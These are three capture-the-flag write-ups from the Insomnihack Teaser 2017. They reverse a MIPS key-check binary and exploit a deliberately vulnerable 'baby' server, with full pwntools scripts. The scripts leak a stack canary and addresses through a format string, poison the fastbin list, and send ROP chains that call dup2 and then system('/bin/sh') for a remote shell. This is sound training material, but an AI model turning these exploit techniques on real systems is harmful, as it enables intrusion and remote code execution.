Insomnihack Teaser 2017 Bender_safe Writeup

This was the first of a 3 part challenge that contained flags for each part.

The first part is a  reversing challenge. The given files are a MIPS-32 bit executable and an emulator for the same. I had to refresh a what was left from my memory on MIPS architecture. And then a lot of googling also took place. But in the end, it was a challenge that I enjoyed doing.

Going through the code of main function, we see that there are a lot of functions being called. Of those, a few functions are of importance to us. Namely:

  1. doshuffle.
  2. validate.
  3. get_first_flag.

Obviously, we need to get to the get_first_flag function. So now let’s try and figure out what the binary actually does.

It calls opens /dev/urandom and reads 8 bytes from it and stores it in a buffer. This buffer is then used by the doshuffle function to create a string of lenth 16. I spent a lot of time trying to figure out what the doshuffle function did (and eventually developed a pseudo-code). I had thought that we needed to figure out the value of the 8 byte random value from the string being printed out to us. I was too lazy to actually reverse the functionality of the doshuffle function. So instead I patched the binary. I changed the string ‘/dev/urandom’ to a file that I created and filled with 8 ‘A’s. So now, the random value read in and the string generated by the doshuffle function will be constant. And then, trying the input of 8 “A”‘s, we find that it’s not what we need to pass the validate function.

So after that, I moved on to the validate function. In spite of being a very large function, what it does is very simple. It multiplies a lot of constants around and finally stores a value at a particular location. Since none of our input comes into the equation, we can say that those values will be constant in every execution. So, then the validate function boils down to a simple comparison between the user input and the string printed out.

Using a debugger, we can easily set breakpoints at those locations, and identify the constraints on our input with respect to the string being printed out. Once, we’ve finished that, we can easily write a script that creates a string that can pass all the checks of the validate function.

And well, here’s the script:

from pwn import *

mychars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
HOST, PORT = 'bender_safe.teaser.insomnihack.ch', 31337


def findstr(chall):
    final_str = ''
    final_str += chall[0]
    final_str += chall[15]
    if chall[7] >= 'A':
        a = ord(chall[7]) ^ ord('K') ^ 0x61 ^ 10
        final_str += str(chr(a))
    elif chall[7] < 'A':
        a = ord(chall[7]) ^ (0xffffffa6) ^ (0xffffff99) ^ (0x7f)
        final_str += str(chr(a))
    if chall[3] >= 'A':
        a = mychars.index(chall[3])+10
        final_str += mychars[a]
    elif chall[3] < 'A':
        a = mychars.index(chall[3])-10
        final_str += mychars[a]
    if chall[4] >= 'A':
        final_str += mychars[mychars.index(chall[4])+10]
    elif chall[4] < 'A':
        final_str + =mychars[mychars.index(chall[4])-10]
    val = abs(ord(chall[1])-ord(chall[2]))
    final_str += mychars[val % (len(mychars)-1)]

    val = abs(ord(chall[5])-ord(chall[6]))
    final_str += mychars[val % (len(mychars) - 1)]

    if chall[8] >= 'A':
        val = ord(chall[8]) ^ 0x4b ^ 0x61 ^ 0xa
        final_str += str(chr(val))
    elif chall[8] < 'A':
        val = ord(chall[8]) ^ 0xffffffa6 ^ 0xffffff99 & 0x7f
        final_str += str(chr(val))
    return final_str


if __name__ == "__main__":
    p = remote(HOST, PORT)
    p.recvuntil(':')
    p.recvline()
    msg = p.recvline().strip()
    retval = findstr(msg)
    p.sendline(retval)
    p.sendline('2')
    p.sendline('-1')
    print p.recvall(timeout=1)

And well, running that gave the flag
Here it is : INS{Angr_is_great!_Oh_angr_is_great!_Angr_angr_angr}

Insomnihack Teaser 2017 Baby (Heap) Writeup

I had mentioned in an earlier post how I solved this challenge during the CTF using stack overflow and format string attacks.

Later on, I decided to try the heap method. And well, this write up is about just that.

So, now let’s look at the doheap function.

What I love about this challenge is that all we need to do is exploit. We don’t need to spend time on reverse engineering the whole binary and searching for the bug. We’re given the bug (three of them actually) and asked just to exploit.

The doheap function offers the functionalities of allocating a chunk of user specified size, removing a chunk, writing data into a chunk. Pointers to these chunks are stored on the stack in an array.

The vulnerability here again is pretty apparent. We can write data into any chunk, including one that was freed.

Now regarding what to do with the overflow, there are a couple of things we could do. We could try the House of Force and overwrite the GOT table with some value. But I decided to try something that I didn’t have much experience with which was abusing the Fastbin linked list.

The idea here was to put two chunks into the fastbin list. So the latter of the two would contain a pointer to the other. And then we could overwrite the pointer in the latter to some address that we like. So calling malloc with the same size as that of the two we’ve free’d would return an arbitrary pointer.

To break it down, when the program starts, the fastbin list is empty. Once we free a chunk of a small size, say 32 bytes, it gets pushed into the fastbin list. Imagine the chunk that we free first is called A and its size is 32 bytes.

Once we free A, the head of the fastbin list will point to A. Now if we were to free another chunk, say B, of the same size ie 32 bytes, the head of the fastbin list changes to B and the address of A is written into B.

So it would be something like this:
head -> null                                (Before freeing A)
head -> A -> null                      (After freeing A and before freeing B)
head -> B -> A -> null            (After freeing B)

Now we can use the overflow to write some bytes into B. After this, if we request a chunk from the heap using malloc with a size < 32, we'd get the top of the fastbin list ie B. Not very useful.

But wait, if we request another chunk from the heap, again with size < 32, we'd get a pointer to whatever we stored inside B.

One small thing that we need to take care of is to make sure that there exists the same size value at whatever address we gave + 8.

So lets put the plan down on the table

  • Allocate 5 chunks of a small size.
  • Remove the second and fourth.
  • Edit the fourth chunk and write stack address.
  • Allocate two chunks.
  • Write data into the latter of the last two chunks allocated. (Stack overflow)

I used chunks sizes of 10, and malloc returned chunks of sizes 32. So I had to make sure that 0x21 was there somewhere on the stack. So in the read functionality, it asks us for a size, where I gave a valid size + null byte + 0x21. So 0x21 lies on the stack now. Problem solved.

I did use the dofmt function to leak the canary, stack and libc addresses. So I guess in this exploit, I did use format string attack, return to libc, and heap overflow. Pretty nice combo even if I say so myself !

Anyway, here’s the exploit script.

from pwn import *

# pop rdi;ret;
g1 = 0x1c8b
# pop rsi;pop r15;ret;
g2 = 0x1c89


def leak_first():
    p.sendlineafter("> ", '2')
    p.sendlineafter("> ", '%llx-'*158)
    val = p.recvline().strip().split('-')
    p.sendline('')
    libc, stack = int(val[-2], 16), int(val[138], 16)
    text, canary = int(val[139], 16), int(val[137], 16)
    return libc-0x21f45, stack-80, text-0x19cf, canary


def alloc(idx, size):
    p.sendlineafter("choice > ", "1")
    p.sendlineafter("chunk > ", str(idx))
    p.sendlineafter("size > ", str(size))
    p.recvuntil("@ ")
    addr = int(p.recvline().strip(), 16)
    log.success("Chunk index {} @ {}".format(str(idx), hex(addr)))
    return addr


def evil_alloc(idx, size):
    p.sendlineafter("choice > ", "1")
    p.sendlineafter("chunk > ", str(idx))
    p.sendafter("size > ", str(size)+"\x00"*6+"\x21"+"\x00"*7)
    p.recvuntil("@")
    addr = int(p.recvline().strip(), 16)
    log.success("Chunk index {} @ {}".format(str(idx), hex(addr)))
    return addr


def read(idx, size, payload):
    p.sendlineafter("choice > ", "3")
    p.sendlineafter("chunk > ", str(idx))
    p.sendlineafter("size > ", str(size))
    time.sleep(1)
    p.sendline(payload)


def free(idx):
    p.sendlineafter("choice > ", "2")
    p.sendlineafter("chunk > ", str(idx))


if __name__ == "__main__":
    fd = 4
    # p = remote("baby.teaser.insomnihack.ch",1337)
    p = remote("localhost", 1337)
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    libc.address, stack, text, canary = leak_first()
    g1 += text
    g2 += text
    system = libc.symbols['system']
    binsh = libc.search('/bin/sh').next()
    dup2 = libc.symbols['dup2']
    log.success("Stack @ {}".format(hex(stack)))
    log.success("Libc @ {}".format(hex(libc.address)))
    p.sendlineafter(">", "3")
    for x in xrange(1, 6):
        alloc(x, 10)
        read(x, 10, "A"*9)
    free(2)
    free(4)
    read(4, 16, p64(stack)+"A"*8)
    alloc(6, 10)
    evil_alloc(7, 10)
    payload = fit({8: p64(canary), 24: p64(g2)+p64(0)*2+p64(g1)})
    payload += p64(fd)+p64(dup2)+p64(g2)+p64(1)*2+p64(g1)+p64(fd)+p64(dup2)
    payload += p64(g1)+p64(binsh)+p64(g2)+p64(0)*2+p64(system)
    read(7, len(payload), payload)
    p.sendlineafter("choice > ", "5")
    p.interactive()

Insomnihack teaser 2017 Baby Writeup

The first CTF of 2017 and it didn’t disappoint. It took me a while to get the exploit working but it was fun.

As usual, lets see what protections are enabled on the binary.

$ checksec baby

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

Well, isn’t that something ! No worries, there have been challenges with even worse conditions.

Looking through the code of the binary, we see that the binary first starts a server and then forks off a child to handle a client. Now looking at the handle function, we see that it is a menu driven program that offers three functionalities. Namely

  1. Stack overflow
  2. Format string
  3. Heap overflow

And then a fourth option which simply exits.

As the names suggest, each function has the respective vulnerability. So, my first idea was to leak out some pointers using the format string vulnerability. This memory leak can then be leveraged to gain control over execution through the stack overflow.

So, the steps should be:

  1. Choose format string vuln.
  2. Leak address of text segment.
  3. Leak address of libc.
  4. Choose stack overflow vuln.
  5. ROP.

But there was some difference in the values on the stack when I ran the binary locally and that of the remote server.

But there are some values on the stack that we can bet on. The return addresses of the functions dostack and handle are values of the text segment. So by leaking those, we get the base address of the text segment. Now for libc, the return address of main can be used.

After leaking, all that’s left is to craft a nice ROP payload and pwn this binary.

But wait, it’s not over.

The shell I got at the beginning was at the parent process end, whereas we were interacting with the socket. So, before calling system(‘/bin/sh’), we should insert two calls to dup2().

from pwn import *

g1 = 0x1c8b				#pop rdi;ret;
g2 = 0x1c89				#pop rsi;pop r15;ret;

def leak_first():
	p.sendlineafter("> ",'2')
	p.sendlineafter("> ",'%llx-'*158)
	val = p.recvline().strip().split('-')
	p.sendline('')
	libc,text,canary = int(val[-2],16),int(val[139],16),int(val[137],16)
	return libc-0x20830,text-0x19cf,canary

def bof_stack():
	p.sendlineafter("> ","1")
	payload = fit({1032:p64(canary),1048:p64(g2)+p64(0),1072:p64(g1)+p64(fd)+p64(dup2)})
	payload+= p64(g2)+p64(1)+p64(0)+p64(g1)+p64(fd)+p64(dup2)
	payload+= p64(g2)+p64(0)+p64(0)+p64(g1)+p64(binsh)+p64(system)
	p.sendlineafter("?",str(len(payload)+1))
	p.sendline(payload)
	log.info(p.recvline())
	p.interactive()

if __name__ == "__main__":
	fd=4
	p = remote("baby.teaser.insomnihack.ch",1337)
	libc,text,canary=leak_first()
	elf = ELF("libc.so")
	elf.address = libc
	binsh = elf.search("/bin/sh").next()
	system = elf.symbols['system']
	dup2 = elf.symbols['dup2']
	g1+= text
	g2+= text
	bof_stack()

And well that gave the flag.
Here it is : INS{if_you_haven’t_solve_it_with_the_heap_overflow_you’re_a_baby!}